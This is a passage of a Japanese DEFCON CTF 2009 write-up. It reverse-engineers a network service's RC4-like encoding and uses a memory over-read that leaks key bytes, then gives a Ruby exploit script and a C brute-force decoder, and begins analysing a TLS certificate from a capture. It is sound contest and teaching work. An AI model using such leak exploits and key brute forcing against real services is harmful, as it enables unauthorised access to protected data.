loc_80493F6 ########################################################### ################## if(var_8 <= 0xFF) ################## goto loc_8049366; ################## var_8 = 0; ################## goto loc_80493F6; ########################################################### .text:08049388 .text:08049388 loc_8049388: .text:08049388 mov eax, [ebp+var_8] .text:0804938B movzx ecx, ds:byte_804AF00[eax] .text:08049392 mov eax, [ebp+var_8] .text:08049395 mov edx, 0 .text:0804939A div [ebp+arg_4] .text:0804939D mov eax, edx .text:0804939F add eax, [ebp+arg_0] .text:080493A2 movzx eax, byte ptr [eax] .text:080493A5 lea edx, [ecx+eax] .text:080493A8 movzx eax, ds:byte_804AEE0 .text:080493AF lea eax, [edx+eax] .text:080493B2 mov ds:byte_804AEE0, al ########################################################### ################## ecx = ds:byte_804AF00[var_8]; ################## edx = ecx + arg_0[eax % arg_4]; ################## ds:byte_804AEE0 += edx; ########################################################### .text:080493B7 movzx eax, ds:byte_804AEE0 .text:080493BE movzx eax, al .text:080493C1 movzx eax, ds:byte_804AF00[eax] .text:080493C8 mov [ebp+var_1], al ########################################################### ################## var_1 = ds:byte_804AF00[ds:byte_804AEE0]; ########################################################### .text:080493CB movzx eax, ds:byte_804AEE0 .text:080493D2 movzx edx, al .text:080493D5 mov eax, [ebp+var_8] .text:080493D8 movzx eax, ds:byte_804AF00[eax] .text:080493DF mov ds:byte_804AF00[edx], al ########################################################### ################## ds:byte_804AF00[ds:byte_804AEE0] = ################## ds:byte_804AF00[var_8]; ########################################################### .text:080493E5 mov edx, [ebp+var_8] .text:080493E8 movzx eax, [ebp+var_1] .text:080493EC mov ds:byte_804AF00[edx], al .text:080493F2 add [ebp+var_8], 1 ########################################################### ################## ds:byte_804AF00[var_8] = var_1; ################## var_8++; ########################################################### .text:080493F6 .text:080493F6 loc_80493F6: .text:080493F6 cmp [ebp+var_8], 0FFh .text:080493FD jbe short loc_8049388 .text:080493FF mov ds:byte_804AEE0, 0 .text:08049406 mov ds:byte_804AEC4, 0 ########################################################### ################## if(var_8 <= 0xFF) ################## goto loc_8049388; ################## ds:byte_804AEE0 = 0; ################## ds:byte_804AEC4 = 0; ########################################################### .text:0804940D leave .text:0804940E retn
以上が5バイトの乱数から256バイトのテーブルを作る処理
続いてplaintextを読む処理
.text:08049930 loc_8049930: .text:08049930 mov eax, [ebp+fd] .text:08049933 mov [esp], eax .text:08049936 call _close .text:0804993B mov dword ptr [esp+4], offset modes ; "r" .text:08049943 mov dword ptr [esp], offset filename ; "plaintext" .text:0804994A call _fopen .text:0804994F mov [ebp+stream], eax .text:08049952 cmp [ebp+stream], 0 .text:08049956 jz loc_8049A4B .text:0804995C mov edx, [ebp+ptr] .text:0804995F mov eax, [ebp+stream] .text:08049962 mov [esp+0Ch], eax .text:08049966 mov dword ptr [esp+8], 20h .text:0804996E mov dword ptr [esp+4], 1 .text:08049976 mov [esp], edx .text:08049979 call _fread .text:0804997E mov edx, eax .text:08049980 mov eax, [ebp+ptr] .text:08049983 mov [eax+20h], edx .text:08049986 mov eax, [ebp+stream] .text:08049989 mov [esp], eax .text:0804998C call _fclose .text:08049991 mov eax, [ebp+ptr] .text:08049994 mov eax, [eax+20h] .text:08049997 test eax, eax .text:08049999 jz loc_8049A66 .text:0804999F mov [ebp+var_10], 0 .text:080499A6 jmp short loc_80499C8
plaintextを開いて20hバイト読み、それをmallocで確保した領域にコピー
さらに20h番目以降の4バイトにそのサイズ(0x20)を格納
.text:080499A8 .text:080499A8 loc_80499A8: .text:080499A8 mov esi, [ebp+var_10] .text:080499AB mov edx, [ebp+var_10] .text:080499AE mov eax, [ebp+ptr] .text:080499B1 movzx ebx, byte ptr [eax+edx] .text:080499B5 call sub_8049410 .text:080499BA mov edx, ebx .text:080499BC xor edx, eax .text:080499BE mov eax, [ebp+ptr] .text:080499C1 mov [eax+esi], dl .text:080499C4 add [ebp+var_10], 1 .text:080499C8 .text:080499C8 loc_80499C8: .text:080499C8 mov eax, [ebp+var_10] .text:080499CB mov edx, [ebp+ptr] .text:080499CE mov edx, [edx+20h] .text:080499D1 cmp eax, edx .text:080499D3 jb short loc_80499A8
読み込んだplaintextのデータをエンコード(xor)する
途中で呼び出されているsub_8049410のコードは以下
.text:08049410 sub_8049410 proc near .text:08049410 .text:08049410 var_1 = byte ptr -1 .text:08049410 .text:08049410 push ebp .text:08049411 mov ebp, esp .text:08049413 sub esp, 10h .text:08049416 movzx eax, ds:byte_804AEC4 .text:0804941D add eax, 1 .text:08049420 mov ds:byte_804AEC4, al ########################################################### ################## byte_804AEC4++; ########################################################### .text:08049425 movzx eax, ds:byte_804AEC4 .text:0804942C movzx eax, al .text:0804942F movzx edx, ds:byte_804AF00[eax] .text:08049436 movzx eax, ds:byte_804AEE0 .text:0804943D lea eax, [edx+eax] .text:08049440 mov ds:byte_804AEE0, al ########################################################### ################## edx = ds:byte_804AF00[ds:byte_804AEC4]; ################## eax = ds:byte_804AEE0; ################## ds:byte_804AEE0 = edx + eax; ########################################################### .text:08049445 movzx eax, ds:byte_804AEE0 .text:0804944C movzx eax, al .text:0804944F movzx eax, ds:byte_804AF00[eax] .text:08049456 mov [ebp+var_1], al ########################################################### ################## var_1 = ds:byte_804AF00[ds:byte_804AEE0]; ########################################################### .text:08049459 movzx eax, ds:byte_804AEE0 .text:08049460 movzx edx, al .text:08049463 movzx eax, ds:byte_804AEC4 .text:0804946A movzx eax, al .text:0804946D movzx eax, ds:byte_804AF00[eax] .text:08049474 mov ds:byte_804AF00[edx], al ########################################################### ################## edx = ds:byte_804AEE0; ################## eax = ds:byte_804AEC4; ################## ds:byte_804AF00[edx] = ds:byte_804AF00[eax]; ########################################################### .text:0804947A movzx eax, ds:byte_804AEC4 .text:08049481 movzx edx, al .text:08049484 movzx eax, [ebp+var_1] .text:08049488 mov ds:byte_804AF00[edx], al ########################################################### ################## ds:byte_804AF00[ds:byte_804AEC4] = var_1; ########################################################### .text:0804948E movzx eax, ds:byte_804AEE0 .text:08049495 movzx eax, al .text:08049498 movzx eax, ds:byte_804AF00[eax] .text:0804949F add [ebp+var_1], al ########################################################### ################## var_1 += ds:byte_804AF00[ds:byte_804AEE0]; ########################################################### .text:080494A2 movzx eax, [ebp+var_1] .text:080494A6 movzx eax, ds:byte_804AF00[eax] .text:080494AD movzx eax, al ########################################################### ################## return ds:byte_804AF00[var_1]; ########################################################### .text:080494B0 leave .text:080494B1 retn
次にWhat is your name?の質問に対する返答をクライアントから受信
mallocで確保した領域+24hバイト目以降に格納される
var_25の値によって処理分岐(1文字2バイト? 1文字1バイト?)
.text:080499D5 cmp [ebp+var_25], 0 .text:080499D9 jz short loc_8049A16 .text:080499DB mov eax, [ebp+ptr] .text:080499DE mov [ebp+var_C], eax .text:080499E1 mov eax, [ebp+var_C] .text:080499E4 add eax, 24h .text:080499E7 mov dword ptr [esp+8], 10h .text:080499EF mov [esp+4], eax .text:080499F3 mov eax, [ebp+arg_0] .text:080499F6 mov [esp], eax .text:080499F9 call recv_data2 .text:080499FE test eax, eax .text:08049A00 jz short loc_8049A66 .text:08049A02 mov eax, [ebp+var_C] .text:08049A05 mov [esp+4], eax .text:08049A09 mov eax, [ebp+arg_0] .text:08049A0C mov [esp], eax .text:08049A0F call data_send3 .text:08049A14 jmp short loc_8049A66 .text:08049A16 .text:08049A16 loc_8049A16: .text:08049A16 mov eax, [ebp+ptr] .text:08049A19 add eax, 24h .text:08049A1C mov dword ptr [esp+8], 10h .text:08049A24 mov [esp+4], eax .text:08049A28 mov eax, [ebp+arg_0] .text:08049A2B mov [esp], eax .text:08049A2E call recv_data3 .text:08049A33 test eax, eax .text:08049A35 jz short loc_8049A66 .text:08049A37 mov eax, [ebp+ptr] .text:08049A3A mov [esp+4], eax .text:08049A3E mov eax, [ebp+arg_0] .text:08049A41 mov [esp], eax .text:08049A44 call data_send2 .text:08049A49 jmp short loc_8049A66 .text:08049A4B .text:08049A4B loc_8049A4B: .text:08049A4B mov dword ptr [esp+8], 0 .text:08049A53 mov dword ptr [esp+4], offset aOops ; "oops!\n" .text:08049A5B mov eax, [ebp+arg_0] .text:08049A5E mov [esp], eax .text:08049A61 call str_send .text:08049A66 .text:08049A66 loc_8049A66: .text:08049A66 mov eax, [ebp+ptr] .text:08049A69 mov [esp], eax .text:08049A6C call _free .text:08049A71 mov [ebp+var_3C], 0 .text:08049A78 .text:08049A78 loc_8049A78: .text:08049A78 mov eax, [ebp+var_3C] .text:08049A7B add esp, 50h .text:08049A7E pop ebx .text:08049A7F pop esi .text:08049A80 pop ebp .text:08049A81 retn
以上からmallocで確保したメモリのメモリマップは、
3Chの場合は
00h-19h -> plaintext内データ
20h-23h -> plaintext内データのサイズ
24h-33h -> クライアントが入力した文字列
34h-38h -> 5バイトの乱数
4Chの場合は
00h-19h -> plaintext内データ
20h-23h -> plaintext内データのサイズ
24h-43h -> クライアントが入力した文字列
44h-48h -> 5バイトの乱数
となる
またエンコードの処理フローは
- 5バイトの乱数から256バイトのテーブルを作成
- テーブルを使用してplaintext内の0x20バイトのデータをxorする
- エンコードされた(xorされた)データをクライアントへ送信
となる
plaintext内の0x20バイトデータはxorされているだけである
5バイトの乱数さえ分かれば、同じテーブルが作成できるため
同様にデコードデータをxorすることでplaintext内のデータが復元できる
つまり5バイトデータのブルートフォースアタックである
以上のコードをC言語にし、デコーダを作成する
// decode.c #include <stdio.h> #include <string.h> #include <stdlib.h> #include <ctype.h> unsigned char byte_804AEC4; unsigned char byte_804AEE0; unsigned char byte_804AF00[256]; int sub_8049350(char *val, int len) { int i; unsigned char var_1; byte_804AEE0 = 0; for(i=0; i < 256; i++) byte_804AF00[i] = i; for(i=0; i < 256; i++){ byte_804AEE0 = (byte_804AEE0 + byte_804AF00[i] + val[i % len]) & 0xFF; var_1 = byte_804AF00[byte_804AEE0]; byte_804AF00[byte_804AEE0] = byte_804AF00[i]; byte_804AF00[i] = var_1; } byte_804AEE0 = 0; byte_804AEC4 = 0; return 0; } unsigned char sub_8049410(void) { unsigned char var_1; byte_804AEC4++; byte_804AEE0 = (byte_804AEE0 + byte_804AF00[byte_804AEC4]) & 0xFF; var_1 = byte_804AF00[byte_804AEE0]; byte_804AF00[byte_804AEE0] = byte_804AF00[byte_804AEC4]; byte_804AF00[byte_804AEC4] = var_1; var_1 += byte_804AF00[byte_804AEE0]; return byte_804AF00[var_1]; } int loc_80499C8(unsigned char *p, int len) { int var_10; for(var_10=0; var_10 < len; var_10++){ p[var_10] = (p[var_10] ^ sub_8049410()) & 0xFF; if(isascii((int)p[var_10]) == 0) return 1; } return 0; } int inc(unsigned char *key) { if(key[0] != 0xFF){ key[0]++; return 0; }else{ key[0] = 0; } if(key[1] != 0xFF){ key[1]++; return 0; }else{ key[1] = 0; } if(key[2] != 0xFF){ key[2]++; return 0; }else{ key[2] = 0; } if(key[3] != 0xFF){ key[3]++; return 0; }else{ key[3] = 0; } if(key[4] != 0xFF){ key[4]++; return 0; }else{ key[4] = 0; } return 1; } int main(void) { unsigned char key[5] = { 0x00, 0x00, 0x00, 0x00, 0x00, }; unsigned char temp[0x20+1]; unsigned char code[0x20] = { 0xa1, 0xdd, 0x32, 0xdc, 0x47, 0x1d, 0x11, 0xd4, 0x2a, 0x5f, 0x15, 0xd1, 0x6e, 0x29, 0x7a, 0xe7, 0xc4, 0xda, 0x2e, 0xd2, 0x72, 0x3d, 0x77, 0x08, 0x82, 0xed, 0xad, 0xe4, 0x73, 0xc8, 0x24, 0x2a, }; do{ sub_8049350(key, 5); memcpy(temp, code, 0x20); temp[0x20] = 0x00; if(loc_80499C8(temp, 0x20) == 0) printf("%s\n", (char *)temp); }while(inc(key) == 0); return 0; }
plaintext内のデータはすべて文字列だと仮定し
0x20バイトすべてがisasciiならばデコード成功と定義して
0x00 0x00 0x00 0x00 0x00 から 0xFF 0xFF 0xFF 0xFF 0xFF までを
ブルートフォースする
これを実行すれば、plaintext内のデータが得られるはずだが…
$ gcc decode.c -o decode $ ./decode (1時間待っても応答なし)
5バイトはどうやらブルートフォースするには長すぎるようだ…。
ここでもう一度実行結果を見ると…
$ nc localhost 7852 Password: chickenfingers What is your name? test Welcome test ::(←謎のデータ) Your challenge is to decode the following hex encoded string: a1dd32dc471d11d42a5f15d16e297ae7c4da2ed2723d770882edade473c8242a Good luck!
"Welcome ユーザー名"の後に謎のデータを受け取っている
この部分をIDAProで解析すると…
// malloc(3Ch)版 .text:080495FE mov dword ptr [esp+4], offset s ; "Welcome " .text:08049606 mov eax, [ebp+fd] .text:08049609 mov [esp], eax .text:0804960C call str_send .text:08049611 mov eax, [ebp+arg_4] .text:08049614 add eax, 24h .text:08049617 mov dword ptr [esp+8], 11h .text:0804961F mov [esp+4], eax .text:08049623 mov eax, [ebp+fd] .text:08049626 mov [esp], eax .text:08049629 call data_send
// malloc(4Ch)版 .text:08049706 mov dword ptr [esp+4], offset s ; "Welcome " .text:0804970E mov eax, [ebp+fd] .text:08049711 mov [esp], eax .text:08049714 call unicode_send .text:08049719 mov eax, [ebp+arg_4] .text:0804971C add eax, 24h .text:0804971F mov dword ptr [esp+8], 22h .text:08049727 mov [esp+4], eax .text:0804972B mov eax, [ebp+fd] .text:0804972E mov [esp], eax .text:08049731 call data_send
mallocで確保したメモリのメモリマップは、
3Chの場合は
00h-19h -> plaintext内データ
20h-23h -> plaintext内データのサイズ
24h-33h -> クライアントが入力した文字列
34h-38h -> 5バイトの乱数
4Chの場合は
00h-19h -> plaintext内データ
20h-23h -> plaintext内データのサイズ
24h-43h -> クライアントが入力した文字列
44h-48h -> 5バイトの乱数
と、ユーザー名用に確保するのは10h or 20hであるにも関わらず
3Chの場合は0x11バイト、4Chの場合は0x22バイトをクライアントへ送信している
つまり、クライアントが入力した文字列の次のデータ列、
つまり、5バイトの乱数の先頭1バイト or 2バイトがクライアントへ送信される
mallocするサイズ4Chか3Chかはvar_29の値で決まるため、
"chickenfingers"入力時にさらに1文字追記すれば操作可能
"A"は0x41であるため最下位ビットがON、"B"は0x42であるため最下位ビットがOFF
$ cat > test.rb #!/usr/bin/ruby require "socket" begin sock = TCPSocket.open(ARGV[0], 7852) rescue puts "TCPSocket.open failed: #$!\n" else pass = "chickenfingers" + ARGV[1] uname = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH" print sock.sysread 1024 sock.write(pass + "\x0a") print pass + "\n" sleep 1 print sock.sysread 1024 sock.syswrite(uname) print uname + "\n" sleep 1 print sock.gets print sock.gets print sock.gets sock.close() end $ ruby test.rb localhost A > 4Ch.dump $ ruby test.rb localhost B > 3Ch.dump
まずは4Chの方を調査
$ hexdump -C 4Ch.dump 00000000 50 61 73 73 77 6f 72 64 3a 20 63 68 69 63 6b 65 |Password: chicke| 00000010 6e 66 69 6e 67 65 72 73 41 0a 00 57 00 68 00 61 |nfingersA..W.h.a| 00000020 00 74 00 20 00 69 00 73 00 20 00 79 00 6f 00 75 |.t. .i.s. .y.o.u| 00000030 00 72 00 20 00 6e 00 61 00 6d 00 65 00 3f 00 20 |.r. .n.a.m.e.?. | 00000040 41 41 41 41 42 42 42 42 43 43 43 43 44 44 44 44 |AAAABBBBCCCCDDDD| 00000050 45 45 45 45 46 46 46 46 47 47 47 47 48 48 48 48 |EEEEFFFFGGGGHHHH| 00000060 0a 00 57 00 65 00 6c 00 63 00 6f 00 6d 00 65 00 |..W.e.l.c.o.m.e.| 00000070 20 41 41 41 41 42 42 42 42 43 43 43 43 44 44 44 | AAAABBBBCCCCDDD| 00000080 44 45 45 45 45 46 46 46 46 47 47 47 47 48 48 48 |DEEEEFFFFGGGGHHH| 00000090 48[a2 4b]00 3a 00 0a 00 59 00 6f 00 75 00 72 00 |H.K.:...Y.o.u.r.| 000000a0 20 00 63 00 68 00 61 00 6c 00 6c 00 65 00 6e 00 | .c.h.a.l.l.e.n.| 000000b0 67 00 65 00 20 00 69 00 73 00 20 00 74 00 6f 00 |g.e. .i.s. .t.o.| 000000c0 20 00 64 00 65 00 63 00 6f 00 64 00 65 00 20 00 | .d.e.c.o.d.e. .| 000000d0 74 00 68 00 65 00 20 00 66 00 6f 00 6c 00 6c 00 |t.h.e. .f.o.l.l.| 000000e0 6f 00 77 00 69 00 6e 00 67 00 20 00 68 00 65 00 |o.w.i.n.g. .h.e.| 000000f0 78 00 20 00 65 00 6e 00 63 00 6f 00 64 00 65 00 |x. .e.n.c.o.d.e.| 00000100 64 00 20 00 73 00 74 00 72 00 69 00 6e 00 67 00 |d. .s.t.r.i.n.g.| 00000110 3a 00 0a 00 30 00 62 00 35 00 36 00 38 00 38 00 |:...0.b.5.6.8.8.| 00000120 31 00 31 00 36 00 31 00 62 00 33 00 35 00 37 00 |1.1.6.1.b.3.5.7.| 00000130 34 00 30 00 38 00 37 00 37 00 31 00 31 00 32 00 |4.0.8.7.7.1.1.2.| 00000140 36 00 65 00 36 00 30 00 34 00 36 00 62 00 36 00 |6.e.6.0.4.6.b.6.| 00000150 34 00 65 00 64 00 35 00 66 00 64 00 37 00 37 00 |4.e.d.5.f.d.7.7.| 00000160 66 00 33 00 34 00 32 00 62 00 32 00 33 00 33 00 |f.3.4.2.b.2.3.3.| 00000170 61 00 61 00 61 00 38 00 32 00 61 00 61 00 39 00 |a.a.a.8.2.a.a.9.| 00000180 36 00 38 00 63 00 65 00 65 00 34 00 31 00 37 00 |6.8.c.e.e.4.1.7.| 00000190 63 00 65 00 0a |c.e..| 00000195 $ strings -el 4Ch.dump Welcome Your challenge is to decode the following hex encoded string: 0b56881161b357408771126e6046b64ed5fd77f342b233aaa82aa968cee417ce
続いて3Chの方を調査
$ hexdump -C 3Ch.dump
00000000 50 61 73 73 77 6f 72 64 3a 20 63 68 69 63 6b 65 |Password: chicke|
00000010 6e 66 69 6e 67 65 72 73 42 0a 57 68 61 74 20 69 |nfingersB.What i|
00000020 73 20 79 6f 75 72 20 6e 61 6d 65 3f 20 41 41 41 |s your name? AAA|
00000030 41 42 42 42 42 43 43 43 43 44 44 44 44 45 45 45 |ABBBBCCCCDDDDEEE|
00000040 45 46 46 46 46 47 47 47 47 48 48 48 48 0a 57 65 |EFFFFGGGGHHHH.We|
00000050 6c 63 6f 6d 65 20 41 41 41 41 42 42 42 42 43 43 |lcome AAAABBBBCC|
00000060 43 43 44 44 44 44[78]3a 0a 59 6f 75 72 20 63 68 |CCDDDDx:.Your ch|
00000070 61 6c 6c 65 6e 67 65 20 69 73 20 74 6f 20 64 65 |allenge is to de|
00000080 63 6f 64 65 20 74 68 65 20 66 6f 6c 6c 6f 77 69 |code the followi|
00000090 6e 67 20 68 65 78 20 65 6e 63 6f 64 65 64 20 73 |ng hex encoded s|
000000a0 74 72 69 6e 67 3a 0a 62 34 33 66 62 64 31 30 63 |tring:.b43fbd10c|
000000b0 38 35 61 35 32 62 36 34 31 31 62 37 66 62 63 35 |85a52b6411b7fbc5|
000000c0 31 31 36 37 38 38 33 30 63 37 63 63 39 64 66 66 |11678830c7cc9dff|
000000d0 31 31 30 31 36 32 39 62 31 35 66 30 65 32 38 37 |1101629b15f0e287|
000000e0 32 65 61 64 36 32 63 0a |2ead62c.|
000000e8
$ strings 3Ch.dump
Password: chickenfingersB
What is your name? AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH
Welcome AAAABBBBCCCCDDDDx:
Your challenge is to decode the following hex encoded string:
b43fbd10c85a52b6411b7fbc511678830c7cc9dff1101629b15f0e2872ead62c
それぞれ2バイト or 1バイトの乱数が出力されている
当然2バイトの方が楽なので4Ch版を使って再度ブルートフォースを行う
4Ch版の乱数の上位2バイトは0xa2, 0x4b
エンコードされたデータは
0b56881161b357408771126e6046b64ed5fd77f342b233aaa82aa968cee417ce
これを利用してdecode.cを改良する
cat > decode.c #include <stdio.h> #include <string.h> #include <stdlib.h> #include <ctype.h> unsigned char byte_804AEC4; unsigned char byte_804AEE0; unsigned char byte_804AF00[256]; int sub_8049350(char *val, int len) { int i; unsigned char var_1; byte_804AEE0 = 0; for(i=0; i < 256; i++) byte_804AF00[i] = i; for(i=0; i < 256; i++){ byte_804AEE0 = (byte_804AEE0 + byte_804AF00[i] + val[i % len]) & 0xFF; var_1 = byte_804AF00[byte_804AEE0]; byte_804AF00[byte_804AEE0] = byte_804AF00[i]; byte_804AF00[i] = var_1; } byte_804AEE0 = 0; byte_804AEC4 = 0; return 0; } unsigned char sub_8049410(void) { unsigned char var_1; byte_804AEC4++; byte_804AEE0 = (byte_804AEE0 + byte_804AF00[byte_804AEC4]) & 0xFF; var_1 = byte_804AF00[byte_804AEE0]; byte_804AF00[byte_804AEE0] = byte_804AF00[byte_804AEC4]; byte_804AF00[byte_804AEC4] = var_1; var_1 += byte_804AF00[byte_804AEE0]; return byte_804AF00[var_1]; } int loc_80499C8(unsigned char *p, int len) { int var_10; for(var_10=0; var_10 < len; var_10++){ p[var_10] = (p[var_10] ^ sub_8049410()) & 0xFF; if(isascii((int)p[var_10]) == 0) return 1; } return 0; } int inc(unsigned char *key) { //if(key[0] != 0xFF){ key[0]++; return 0; }else{ key[0] = 0; } //if(key[1] != 0xFF){ key[1]++; return 0; }else{ key[1] = 0; } if(key[2] != 0xFF){ key[2]++; return 0; }else{ key[2] = 0; } if(key[3] != 0xFF){ key[3]++; return 0; }else{ key[3] = 0; } if(key[4] != 0xFF){ key[4]++; return 0; }else{ key[4] = 0; } return 1; } int main(void) { unsigned char key[5] = { 0xa2, 0x4b, 0x00, 0x00, 0x00, }; unsigned char temp[0x20+1]; unsigned char code[0x20] = { 0x0b, 0x56, 0x88, 0x11, 0x61, 0xb3, 0x57, 0x40, 0x87, 0x71, 0x12, 0x6e, 0x60, 0x46, 0xb6, 0x4e, 0xd5, 0xfd, 0x77, 0xf3, 0x42, 0xb2, 0x33, 0xaa, 0xa8, 0x2a, 0xa9, 0x68, 0xce, 0xe4, 0x17, 0xce, }; do{ sub_8049350(key, 5); memcpy(temp, code, 0x20); temp[0x20] = 0x00; if(loc_80499C8(temp, 0x20) == 0) printf("%s\n", (char *)temp); }while(inc(key) == 0); return 0; } $ gcc decode.c -o decode $ ./decode AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH
無事plaintextの中が確認できた
あとはこれをpwn11.ddtek.bizに対して行うことでパスワードが得られる
答えは"Anal leakage beats key leakage a"となる
DEFCON CTF 2009 Trivial 400
Doh, an oldie but goodie. Find password please.
http://shallweplayaga.me/trivial/105f86deaafc709c9746a33634f1dbda
まず何のファイルか確認
$ file 105f86deaafc709c9746a33634f1dbda 105f86deaafc709c9746a33634f1dbda: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 65535)
tcpdumpで取得したパケットファイル
Wireshark(http://www.wireshark.org/)で開くとHTTPS(SSL)通信をしているパケット
当然HTTP通信部分は暗号化されており確認できない
公開鍵(public key)をパケットファイルから取り出す
公開鍵(public key)をcert.binという名前で保存
$ hexdump -C cert.bin 00000000 30 82 03 a6 30 82 02 8e 02 09 00 cf 50 e7 6f f2 |0...0.......P.o.| 00000010 43 07 7b 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 |C.{0...*.H......| 00000020 05 00 30 81 95 31 0b 30 09 06 03 55 04 06 13 02 |..0..1.0...U....| 00000030 41 55 31 13 30 11 06 03 55 04 08 13 0a 53 6f 6d |AU1.0...U....Som| 00000040 65 2d 53 74 61 74 65 31 2c 30 2a 06 03 55 04 0a |e-State1,0*..U..| 00000050 13 23 44 69 75 74 69 6e 75 73 20 44 65 66 65 6e |.#Diutinus Defen| 00000060 73 65 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 |se Technologies | 00000070 43 6f 72 70 2e 31 14 30 12 06 03 55 04 0b 13 0b |Corp.1.0...U....| 00000080 49 54 20 53 65 63 75 72 69 74 79 31 0e 30 0c 06 |IT Security1.0..| 00000090 03 55 04 03 13 05 64 64 74 65 6b 31 1d 30 1b 06 |.U....ddtek1.0..| 000000a0 09 2a 86 48 86 f7 0d 01 09 01 16 0e 74 61 6c 6b |.*.H........talk| 000000b0 40 64 64 74 65 6b 2e 62 69 7a 30 1e 17 0d 30 39 |@ddtek.biz0...09| 000000c0 30 36 30 35 31 39 35 39 35 34 5a 17 0d 31 30 30 |0605195954Z..100| 000000d0 36 30 35 31 39 35 39 35 34 5a 30 81 95 31 0b 30 |605195954Z0..1.0| 000000e0 09 06 03 55 04 06 13 02 41 55 31 13 30 11 06 03 |...U....AU1.0...| 000000f0 55 04 08 13 0a 53 6f 6d 65 2d 53 74 61 74 65 31 |U....Some-State1| 00000100 2c 30 2a 06 03 55 04 0a 13 23 44 69 75 74 69 6e |,0*..U...#Diutin| 00000110 75 73 20 44 65 66 65 6e 73 65 20 54 65 63 68 6e |us Defense Techn| 00000120 6f 6c 6f 67 69 65 73 20 43 6f 72 70 2e 31 14 30 |ologies Corp.1.0| 00000130 12 06 03 55 04 0b 13 0b 49 54 20 53 65 63 75 72 |...U....IT Secur| 00000140 69 74 79 31 0e 30 0c 06 03 55 04 03 13 05 64 64 |ity1.0...U....dd| 00000150 74 65 6b 31 1d 30 1b 06 09 2a 86 48 86 f7 0d 01 |tek1.0...*.H....| 00000160 09 01 16 0e 74 61 6c 6b 40 64 64 74 65 6b 2e 62 |[email protected]| 00000170 69 7a 30 82 01 20 30 0d 06 09 2a 86 48 86 f7 0d |iz0.. 0...*.H...| 00000180 01 01 01 05 00 03 82 01 0d 00 30 82 01 08 02 82 |..........0.....| 00000190 01 01 00 cf a2 db 24 a3 ec ea 35 73 af ce d6 f3 |......$...5s....| 000001a0 0c c7 39 2c 3e 62 62 eb d7 d0 2b e0 68 9b 9d 84 |..9,>bb...+.h...| 000001b0 a0 ce 2e 08 60 ea d4 a5 74 bd 5f 68 65 ab 5c 9e |....`...t._he.\.| 000001c0 a1 b2 d8 8b 12 0a 54 76 23 fe 1f 4e 2a 70 f4 2b |......Tv#..N*p.+| 000001d0 1c d3 4d a7 de a7 cc cf 74 35 e6 70 85 21 7f 7d |..M.....t5.p.!.}| 000001e0 af 94 39 2e 57 3d 22 c0 96 54 40 b8 72 30 7c b6 |..9.W="[email protected]|.| 000001f0 52 6d 03 48 0a 58 35 70 97 8e 3a 68 01 3e d9 59 |Rm.H.X5p..:h.>.Y| 00000200 5a a0 95 82 14 68 fb d8 65 6d 23 52 af 21 2d 30 |Z....h..em#R.!-0| 00000210 9b 42 9e 0c 02 87 3a fc 31 29 d0 c4 a4 01 52 0f |.B....:.1)....R.| 00000220 6b 1d 2a 66 16 a8 14 d4 5b e3 a1 a7 ed 59 9f 2d |k.*f....[....Y.-| 00000230 48 7e 40 08 f7 2b 28 f6 c7 52 2c a2 14 a8 80 bb |H~@..+(..R,.....| 00000240 45 09 b8 67 2d eb 8f 26 6a 67 1c 4f 78 b8 de 08 |E..g-..&jg.Ox...| 00000250 7a 86 b5 4e 05 11 1b 2f d5 e9 bb dc 7e 03 ae 42 |z..N.../....~..B| 00000260 90 81 52 36 db 1d f5 8d 1b a5 b6 3d 07 bd 5e 7d |..R6.......=..^}| 00000270 26 04 ea bd 19 4d 74 da 2b 6f 37 49 f5 dd 66 4e |&....Mt.+o7I..fN| 00000280 71 55 66 37 21 1a 87 7f fa 57 45 74 20 13 10 1d |qUf7!....WEt ...| 00000290 ef 37 55 02 01 23 30 0d 06 09 2a 86 48 86 f7 0d |.7U..#0...*.H...| 000002a0 01 01 05 05 00 03 82 01 01 00 50 d9 49 39 83 19 |..........P.I9..| 000002b0 a4 ef 3a 36 51 6e ef a8 cd af a2 f2 64 a0 ea 71 |..:6Qn......d..q| 000002c0 a1 cf 67 c6 3b 88 04 5a 9b f4 19 f9 8c 66 18 e7 |..g.;..Z.....f..| 000002d0 3a 94 d9 99 48 66 c0 05 86 c0 c4 0b c5 a7 c8 9f |:...Hf..........| 000002e0 86 04 ca 2a 47 09 b8 b3 d3 29 78 b1 0f 32 9c 99 |...*G....)x..2..| 000002f0 6b 1e 40 87 b6 53 24 15 54 70 e2 12 79 5c 0a ed |[email protected]$.Tp..y\..| 00000300 89 6f f0 e9 51 6b e9 2b 16 aa d4 7f 86 b2 f1 98 |.o..Qk.+........| 00000310 f1 36 9a 9e 0c 88 0c 00 fa 98 26 fd 63 29 a5 ee |.6........&.c)..| 00000320 2a 1d d6 4d 22 a8 c6 46 1f 31 c0 29 b7 aa 5b bb |*..M"..F.1.)..[.| 00000330 75 65 08 fc 63 63 82 67 c4 ea 54 72 74 1f f8 c2 |ue..cc.g..Trt...| 00000340 8a bc a8 02 c0 6a 15 47 fc ab 4a e7 5e 52 8e ec |.....j.G..J.^R..| 00000350 42 b3 56 4b 67 77 4e 4c 9a 83 3c 5e 51 87 a9 b1 |B.VKgwNL..<^Q...| 00000360 8a a4 c8 46 08 35 b0 72 8a 60 65 5c 59 30 71 0d |...F.5.r.`e\Y0q.| 00000370 95 91 3c 61 89 9d cb f0 c7 4e 97 97 6c 76 cd 47 |..<a.....N..lv.G| 00000380 cb a2 2c 16 61 a4 64 16 77 94 28 a2 80 ba 3a 90 |..,.a.d.w.(...:.| 00000390 4d 1a b3 c0 46 1e 7b a5 f6 aa 30 ba eb f4 60 db |M...F.{...0...`.| 000003a0 8d 18 5a 69 dc c5 09 e8 55 c4 |..Zi....U.| $ openssl x509 -in cert.bin -inform DER -text -noout Certificate: Data: Version: 1 (0x0) Serial Number: cf:50:e7:6f:f2:43:07:7b Signature Algorithm: sha1WithRSAEncryption Issuer: C=AU, ST=Some-State, O=Diutinus Defense Technologies Corp., OU=IT Security, CN=ddtek/[email protected] Validity Not Before: Jun 5 19:59:54 2009 GMT Not After : Jun 5 19:59:54 2010 GMT Subject: C=AU, ST=Some-State, O=Diutinus Defense Technologies Corp., OU=IT Security, CN=ddtek/[email protected] Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public Key: (2048 bit) Modulus (2048 bit): 